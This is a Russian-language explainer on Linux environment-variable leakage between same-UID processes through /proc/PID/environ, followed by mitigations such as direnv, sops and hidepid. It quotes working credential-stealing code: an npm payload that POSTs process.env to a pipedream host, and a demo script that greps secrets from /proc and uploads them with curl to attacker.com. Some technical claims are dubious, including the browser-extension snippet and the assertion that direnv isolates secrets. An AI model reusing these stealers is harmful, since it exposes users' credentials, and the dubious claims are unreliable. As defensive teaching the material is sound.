13 KiB
Linux Security: Environment Variables & Process Isolation
Ключевая концепция
Same-UID процессы могут читать environment variables друг друга через /proc/[PID]/environ. Это создает attack surface для malicious packages и compromised binaries.kernel
Permission Model
Кто может читать /proc/[PID]/environ
Согласно документации Linux kernel:kernel
Процесс может читать
/proc/PID/*других процессов только при наличии CAP_SYS_PTRACE capability с PTRACE_MODE_READ permissions, или CAP_PERFMON capability.
Но: процессы под одним UID имеют полный доступ друг к другу.
bash
# Проверка permissions ls -l /proc/$(pgrep sleep)/environ # -r-------- 1 wave wave 0 Nov 3 23:30 /proc/12345/environ # ^^^^ # Только owner может читать
Same-UID = Full Access (критическая уязвимость)
bash
# Все эти процессы могут читать environment друг друга: wave 1234 firefox wave 5678 cargo run ← DATABASE_PASSWORD здесь wave 9012 npm install evil ← может прочитать PASSWORD wave 3456 code .
Демонстрация:
bash
# Terminal 1 export API_KEY=sk-proj-super_secret # Terminal 2 (тот же юзер) cat /proc/$(pgrep -u $USER bash | head -1)/environ | tr '\0' '\n' | grep API_KEY # API_KEY=sk-proj-super_secret ← успешно прочитан!
Реальные Векторы Атак
1. Malicious npm Packages
Реальный случай 2022: JFrog обнаружил 17 npm packages, крадущих environment variables.jfrog+1
Код из пакета wafer-bind (deobfuscated):jfrog
javascript
req = http['request']({ 'host': 'a5eb7b362adc824ed7d98433d8eae80a.m.pipedream.net', 'path': '/' + (process["env"]["npm_package_name"] || ''), 'method': "POST" }); req["write"]( Buffer["from"]( JSON["stringify"](process['env']) // ← ВСЕ переменные! )["toString"]("base64") ); req["end"]();
Этот код автоматически выполняется при npm install и отправляет весь process.env на attacker server.jfrog
2. Browser Extensions
javascript
// Chrome/Firefox extension chrome.processes.getProcessInfo((processes) => { for (let pid of processes) { fetch('/proc/' + pid + '/environ') .then(data => sendToAttacker(data)); } });
3. Compromised Development Tools
rust
// Вредоносный cargo plugin или rust-analyzer fork use std::fs; fn exfiltrate_secrets() { for entry in fs::read_dir("/proc")? { let path = entry?.path(); if let Some(pid) = path.file_name() .and_then(|n| n.to_str()?.parse::<u32>().ok()) { if let Ok(environ) = fs::read_to_string(path.join("environ")) { for var in environ.split('\0') { if var.starts_with("AWS_") || var.starts_with("DATABASE_") { send_to_attacker(var); } } } } } }
Attack Surface Analysis
✅ Защищены от чтения
-
Процессы других пользователей - Permission denied
-
Docker containers (по дефолту) - разные PID namespaces
-
Systemd services с
PrivateTmp=trueиProtectSystem=strict
❌ Могут читать твои секреты
| Вектор атаки | Механизм | Пример |
|---|---|---|
| npm packages | postinstall scripts |
wafer-bind, discord-lofyjfrog |
| Browser extensions | WebExtensions API | Chrome/Firefox plugins |
| Compromised binaries | /proc scanning |
Backdoored cargo, rust-analyzer |
| Python packages | setup.py execution |
malicious pip install |
| Shell scripts | ~/.bashrc backdoor |
Startup script injection |
Демонстрация Реальной Атаки
bash
# Terminal 1: запуск процесса с секретом DATABASE_PASSWORD=prod_password_123 cargo run & # Terminal 2: симуляция malicious npm package cat > /tmp/steal.sh << 'EOF' #!/bin/bash for pid in /proc/[0-9]*; do if [ -r "$pid/environ" ]; then cat "$pid/environ" 2>/dev/null | \ tr '\0' '\n' | \ grep -E 'PASSWORD|SECRET|KEY|TOKEN' >> /tmp/stolen.txt fi done curl -X POST https://attacker.com/exfil -d @/tmp/stolen.txt EOF bash /tmp/steal.sh cat /tmp/stolen.txt # DATABASE_PASSWORD=prod_password_123 ← украден!
Решение: direnv + sops
Почему direnv защищает
Temporal scoping: секреты существуют только в subprocess scope конкретной директории.github+1
bash
# БЕЗ direnv (глобальный export) export DATABASE_PASSWORD=secret cargo run & # PID 1234 npm install evil & # PID 5678 ← может прочитать /proc/1234/environ # С direnv (process-scoped) cd ~/project direnv allow # Секреты загружаются ТОЛЬКО для subprocesses cargo run # Секреты доступны cd /tmp # direnv: unloading npm install evil # Секреты УЖЕ unloaded из environment
Process Isolation
bash
ps aux | grep bash # wave 1234 bash (parent shell) ← НЕТ секретов # wave 5678 bash (direnv subshell) ← ЕСТЬ секреты # только для этого дерева процессов # Выход из директории cd ~ # direnv делает: unset DATABASE_PASSWORD # Теперь НИКТО не может прочитать из /proc
Установка в NixOS
text
# home/modules/cli-tools.nix home.packages = with pkgs; [ direnv sops age ]; # home/modules/shell.nix programs.bash.initExtra = '' eval "$(direnv hook bash)" ''; programs.fish.interactiveShellInit = '' direnv hook fish | source '';
Настройка проекта
bash
cd ~/projects/rust-app # Создай .envrc cat > .envrc << 'EOF' use_sops() { local path=${1:-secrets.yaml} eval "$(sops -d --output-type dotenv "$path" | sed 's/^/export /')" } use_sops secrets.yaml EOF direnv allow # Теперь просто: cargo run # вместо: sops exec-env secrets.yaml 'cargo run'
Дополнительные Меры Защиты
1. Hidepid Mount Option
text
# hosts/configuration.nix fileSystems."/proc" = { device = "proc"; fsType = "proc"; options = [ "hidepid=2" "gid=proc" ]; };
Скрывает /proc других юзеров полностью.
2. Secrecy Crate для Rust
text
[dependencies] secrecy = "0.8" zeroize = "1.7"
rust
use secrecy::{Secret, ExposeSecret}; #[derive(Zeroize)] #[zeroize(drop)] struct DbPassword(String); fn main() { let password = Secret::new(DbPassword( std::env::var("DATABASE_PASSWORD").unwrap() )); // Используй через expose_secret() let conn = connect(password.expose_secret().0); // Password зануляется в памяти при drop // Не попадает в core dumps и debugging output }
3. Namespace Isolation
bash
unshare --pid --fork --mount-proc bash -c ' export DATABASE_PASSWORD=secret cargo run '
/proc/[PID] не виден снаружи namespace.
4. Audit Packages
bash
# Проверка ПЕРЕД установкой npm show suspicious-package | grep scripts # "postinstall": "node malware.js" ← RED FLAG! cargo tree | grep -i suspicious
Threat Model Summary
🔴 High Risk: Same-UID Attacks
text
Browser + Extensions └─> может читать /proc твоего cargo run ✓ npm install evil └─> может читать /proc твоего shell ✓ Compromised VSCode extension └─> может читать /proc всех dev процессов ✓
Решение: direnv + sops = subprocess scope
🟡 Medium Risk: Kernel Exploits
text
Kernel vulnerability + root └─> может читать всю память (включая RAM) CAP_SYS_PTRACE процессы └─> могут ptrace и читать память
Решение: secrecy crate + zeroize + mlock()
🟢 Low Risk: Different UID
text
Процессы других юзеров └─> Permission denied для /proc/[твой PID]/ ✗
Решение: уже защищено DAC (Discretionary Access Control)
Best Practices
| Контекст | Решение | Пример |
|---|---|---|
| Development | direnv + sops |
Per-project secretsgithub |
| CI/CD | GitHub Actions secrets | Encrypted in repositoryjfrog |
| Production | Vault / K8s secrets | Centralized secrets management |
| Docker | env_file (не ENV) |
Runtime injection, не build-time |
| Personal overrides | .env.local |
В .gitignore |
❌ Плохие практики
-
exportв.bashrc→ глобальная утечка -
.envв git незашифрованным -
ENVв Dockerfile → попадает в image layers -
--build-argв Docker → видно вdocker history
✅ Хорошие практики
-
direnv→ автоматический unload при выходе из директории -
sops→ encryption at rest, коммитится в git -
secrecycrate → защита от Debug print -
zeroize→ очистка памяти после использования
Итого
Глобальные environment variables — это attack surface для same-UID process attacks. Зафиксировано множество реальных случаев эксплуатации (17+ npm packages только в одном исследовании).therecord+1
Решение: direnv + sops обеспечивают temporal scoping — секреты живут только пока ты в project directory и автоматически исчезают при выходе. Даже если malicious package попытается прочитать /proc, он найдет только пустые environment variables.
- https://www.youtube.com/watch?v=d8fXEhWy_rY
- https://gist.github.com/saharshbhansali/5da604f1731c7d5ea07b2bd91552d48c
- https://publish.obsidian.md/hub/04+-+Guides,+Workflows,+&+Courses/Guides/Markdown+Syntax
- https://www.youtube.com/watch?v=9ft9G6JUfO0
- https://pulseofmedicine.com/markdown-in-obsidian-the-ultimate-guide-for-students/
- https://facedragons.com/personal-development/obsidian-markdown-cheatsheet/
- https://www.xda-developers.com/here-are-some-markdown-tips-and-tricks-to-improve-your-note-taking-in-obsidian/
- https://rossgriffin.com/tutorials/obsidian-basics-guide/
- https://forum.obsidian.md/t/markdown-best-practices-for-writing-symbol/42064
- https://www.markdownguide.org/tools/obsidian/
- https://docs.kernel.org/filesystems/proc.html
- https://jfrog.com/blog/malicious-npm-packages-are-after-your-discord-tokens-17-new-packages-disclosed/
- https://therecord.media/malicious-npm-packages-caught-stealing-discord-tokens-environment-variables
- https://github.com/direnv/direnv/issues/805
- https://news.ycombinator.com/item?id=40927251